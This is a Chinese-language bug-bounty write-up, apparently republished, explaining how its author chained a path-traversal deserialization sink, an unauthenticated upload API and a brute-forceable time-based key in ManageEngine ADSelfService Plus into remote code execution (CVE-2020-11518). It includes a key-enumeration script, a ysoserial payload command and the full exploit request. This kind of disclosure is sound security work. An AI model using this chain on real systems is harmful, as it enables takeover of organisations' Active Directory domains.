如何利用ZOHO ADSelfService Plus漏洞實現域控活動目錄入侵

今天就跟大家聊聊有關如何利用ZOHO ADSelfService Plus漏洞實現域控活動目錄入侵，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結了以下內容，希望大家根據這篇文章可以有所收獲。

發現目標

當我用Aquatone在做前期探測時，發現在兩個不同的眾測項目中，竟然有兩個完全不同的子域名網站都出現了以下相同的ZOHO ManageEngine ADSelfService Plus登錄界面：

ZOHO ManageEngine ADSelfService Plus大多用于組織機構大中型網絡中，用于用戶更改管理其服務器活動目錄（Active Directory）的賬戶密碼。

由于ZOHO ManageEngine ADSelfService Plus與組織機構域控服務器上的活動目錄（Active Directory）相關，因此，我覺得它的漏洞發現可能會影響很多公司，值得多下點功夫研究研究。

源碼分析

好在ZOHO ManageEngine ADSelfService Plus有30天的試用版可下載使用，因此，我決定把它安裝在我本地進行一些測試，特定是從源碼層面對它進行一些分析。

ADSelfService Plus是JAVA架構的，所以我用Bytecode Viewer對下載好的應用源碼進行編輯測試：

從中，我對ADSelfService Plus進行了深入細致的分析，涉及功能應用、早先漏洞修復部份和關聯代碼等部份。之后，我決定構建一個應用端點關鍵字字典對其進行枚舉測試。

漏洞發現

Java反序列化漏洞

在我的枚舉測試過程中，我在一個web.xml文件中看到了以下CewolfServlet相關的代碼：

<servlet-mapping>
<servlet-name>CewolfServlet</servlet-name>
<url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>

我在谷歌上一查找，發現卓豪（ZOHO）的另一個系列產品中早前就存在cewolf服務端的RCE漏洞，其漏洞點在于img參數可路徑遍歷，那這里我們也來試試看。

在我本機的ADSelfService Plus系統中，我通過構造了一個evil.file文件，然后通過成功的瀏覽http://localhost:8888/cewolf/?img=/../../../path/to/evil.file，就證明這里也同樣存在該漏洞。

這也就是說，這個未授權的RCE漏洞直接就是可用的了，但利用前提是要在目標ADSelfService Plus系統中去發現一個任意文件上傳漏洞才行，只有這樣才能上傳我們的evil.file執行訪問。

任意文件上傳漏洞

為了擴大測試面，我繼續在我本機對ADSelfService Plus系統進行一些擴展性的功能配置，這里就涉及到了本地的域控制器（Domain Controller）和活動目錄（Active Directory）域的配置。

經過幾小時的折騰，下載ISO、磁盤空間劃分、虛擬機搭建、域控制器臨時學習部署，最終成功出現了以下ADSelfService Plus登錄界面：

由于這是一個具備管理權限的測試系統，從中我可以觀察到ADSelfService Plus相關的功能應用和API端點請求。之后，我著重研究了其不同的上傳功能，最后，我發現了一個支持智能卡證書配置的上傳點，它以POST方式對以下路徑進行請求：

/LogonCustomization.do?form=smartCard&operation=Add

分析之后，我發現該上傳點對上傳后的智能卡證書不改名就直接進行存儲，因此，結合上一個反序列化路徑遍歷RCE，我想可以深入從這里入手。

該上傳點的機制如下：

1、登錄后的管理員可以通過以下路徑上傳智能卡證書：

/LogonCustomization.do?form=smartCard&operation=Add

2、接著會觸發后臺服務端身份驗證RestAPI調用，完成對密鑰握手交換請求，并在服務端生成一個HANDSHAKE_KEY：

/RestAPI/WC/SmartCard?HANDSHAKE_KEY=secret

3、然后會繼續調用以下API對HANDSHAKE_KEY進行校驗，并生成成功（SUCCESS）或失敗（FAILED）的狀態：

/servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=secret

4、如果校驗成功，上傳的證書會被存儲到以下路徑：

C:\ManageEngine\ADSelfService Plus\bin

有意思的是，上述第2步中的/RestAPI是可以公開訪問的，因此，任意有效的HANDSHAKE_KEY就能繞過用戶身份校驗，把想要上傳的文件存儲到服務端去。而且，第3步涉及到的/servlet/HSKeyAuthenticator同樣也是可以公開訪問的，未授權用戶可以據此判斷某個密鑰的有效性。

有了這些分析，我再次回到ADSelfService Plus的源碼中去。

枚舉校驗密鑰

通過grep命令查找，我發現了兩個有趣的Java類文件。通過我本機的PostgreSQL數據庫，可以查看到其中包含了一個可以利用的API服務端，以及相關的密鑰校驗信息：

一個Java類文件是com.manageengine.ads.fw.servlet中的HSKeyAuthenticator.class：

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      try {
         String message = "FAILED";
         RestAPIKey.getInstance();
         String apiKey = RestAPIKey.getKey();
         String handShakeKey = request.getParameter("HANDSHAKE_KEY");
         if (handShakeKey.equals(apiKey)) {
            message = "SUCCESS";
         }

         PrintWriter out = response.getWriter();
         response.setContentType("text/html");
         out.println(message);
         out.close();
      } catch (Exception var7) {
         HSKeyAuthenticator.out.log(Level.INFO, " ", var7);
      }

   }

另一個Java類文件是com.manageengine.ads.fw.api包中的RestAPIKey.class：

RestAPIKey.class：
  public static void generateKey()
  {
    Long cT = Long.valueOf(System.currentTimeMillis());
    key = cT.toString();
    generatedTime = cT;
  }

  public static String getKey()
  {
    Long cT = Long.valueOf(System.currentTimeMillis());
    if ((key == null) || (generatedTime.longValue() + 120000L < cT.longValue()))
    {
      generateKey();
    }
    return key;
  }

從上述代碼可以看出，服務端對校驗密鑰的當前時間是以毫秒計算的，大概有2分鐘的一個校驗窗口期，也就是說，對攻擊者想要枚舉的密鑰來說，任意時候都有120秒*1000*毫秒=120000種可能。

換句話說，如果我持續在2分鐘內，每秒生成至少1000個請求，那么在身份驗證密鑰過期并重新生成時，就有可能成功命中有效的密鑰，

這看似是一項復雜的網絡級攻擊，但成功的攻擊測試沒有局限性，即使不能百分百成功，但只要時間足夠，就有可能成功。

接著，我準備用Burp的Intruder來生成上述思路中的大量短時請求，寄希望能成功枚舉命中有效密鑰：

但是，上述Intruder生成的請求字典結合我的自動腳本，針對在線目標系統跑起來的時候，就沒那么想當然的了。幾小時的反復運行和各種配置更改后，搗鼓了快一夜也沒啥發現，對這種方法，我都懷疑自己了。

而且，由于不確定在線目標系統的運行時區，當時我都有點快放棄了。但是當我再次用各種偏移方式運行GET請求后發現，Java的當前時間計算函數currentTimeMillis返回的是標準的UTC時間，所以時區時間的擔心就沒必要了。

最終，經過反復試錯，我用以下Turbo Intruder腳本，按每秒請求數（rps）計算，取當前時間戳前后rps/2的毫秒數進行校驗，這樣可以盡量擴大覆蓋范圍并減少誤差：

import time
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                       concurrentConnections=20,
                       requestsPerConnection=200,
                       pipeline=True,
                       timeout=2,
                       engine=Engine.THREADED
                       )
    engine.start()
    rps = 400 # this is about the number of requests per second I could generate from my test server, so not quite the ideal 1000 per second

    while True:
        now = int(round(time.time()*1000))
        for i in range(now+(rps/2), now-(rps/2), -1):
            engine.queue(target.req, str(i))

def handleResponse(req, interesting):
    if 'SUCCESS' in req.response:
        table.add(req)

接著，把HTTP請求頭存儲為以下base.txt，配合Turbo Intruder發起枚舉：

POST /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=%s HTTP/1.1
Host: localhost:8888
Content-Length: 0
Connection: keep-alive

.

接下來需要耐心即可：

哦哇，愿望成真了，竟然可以成功枚舉出有效的驗證密鑰，即使吞吐量遠遠低于1000rps，只有可憐的56rps，最終也成功了！

漏洞利用

現在綜合起來，最終的漏洞利用代碼也就簡單了。我用反序列化框架ysoserial生成了很多Payload，發現以下可行的Payload：

java -jar ysoserial-master-SNAPSHOT.jar MozillaRhino1 "ping ping-rce-MozillaRhino1.<your-burp-collaborator>"

然后，用Burp Intruder的自動腳本去枚舉測試校驗密鑰，再結合ysoserial生成的上述Payload，去上傳一個名為pieter.evil的惡意文件，以此測試上傳時的校驗接口RestAPI，最終的exploit如下：

POST /RestAPI/WC/SmartCard?mTCall=addSmartCardConfig&PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=1585552472158 HTTP/1.1
Host: localhost:888
Content-Length: 2464
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Connection: close

------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="pieter.evil"
Content-Type: text/xml

<binary-ysoserial-payload-here>
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_NAME"

blah
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="SMARTCARD_CONFIG"

{"SMARTCARD_PRODUCT_LIST":"4"}
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4--

一切就緒，只欠東風。接下來，我針對路徑/cewolf/?img=/../../../bin/pieter.evil發起了GET請求，就返回了美妙的成功請求響應消息，RCE成功！

漏洞后果

通過校驗密鑰枚舉bug，結合Java反序列化路徑遍歷，最終，我成功在ZOHO ManageEngine ADSelfService Plus相關的活動目錄管理服務器中實現了RCE，而且，我認為攻擊者可以利用域控制器的鏈接劫持域名賬戶或在活動目錄域中創建新用戶，實現更廣泛的內網入侵，如通過公共VPN服務的深入滲透。

我通過測試發現了兩家眾測項目公司都存在該漏洞，上報漏洞后，一家評估為危急，一家評估為高危。與此同時，我也把該漏洞報送給了漏洞涉及廠商ZOHO公司，被認定為0-day，并被分配了CVE-2020-11518的漏洞編號。

看完上述內容，你們對如何利用ZOHO ADSelfService Plus漏洞實現域控活動目錄入侵有進一步的了解嗎？如果還想了解更多知識或者相關內容，請關注億速云行業資訊頻道，感謝大家的支持。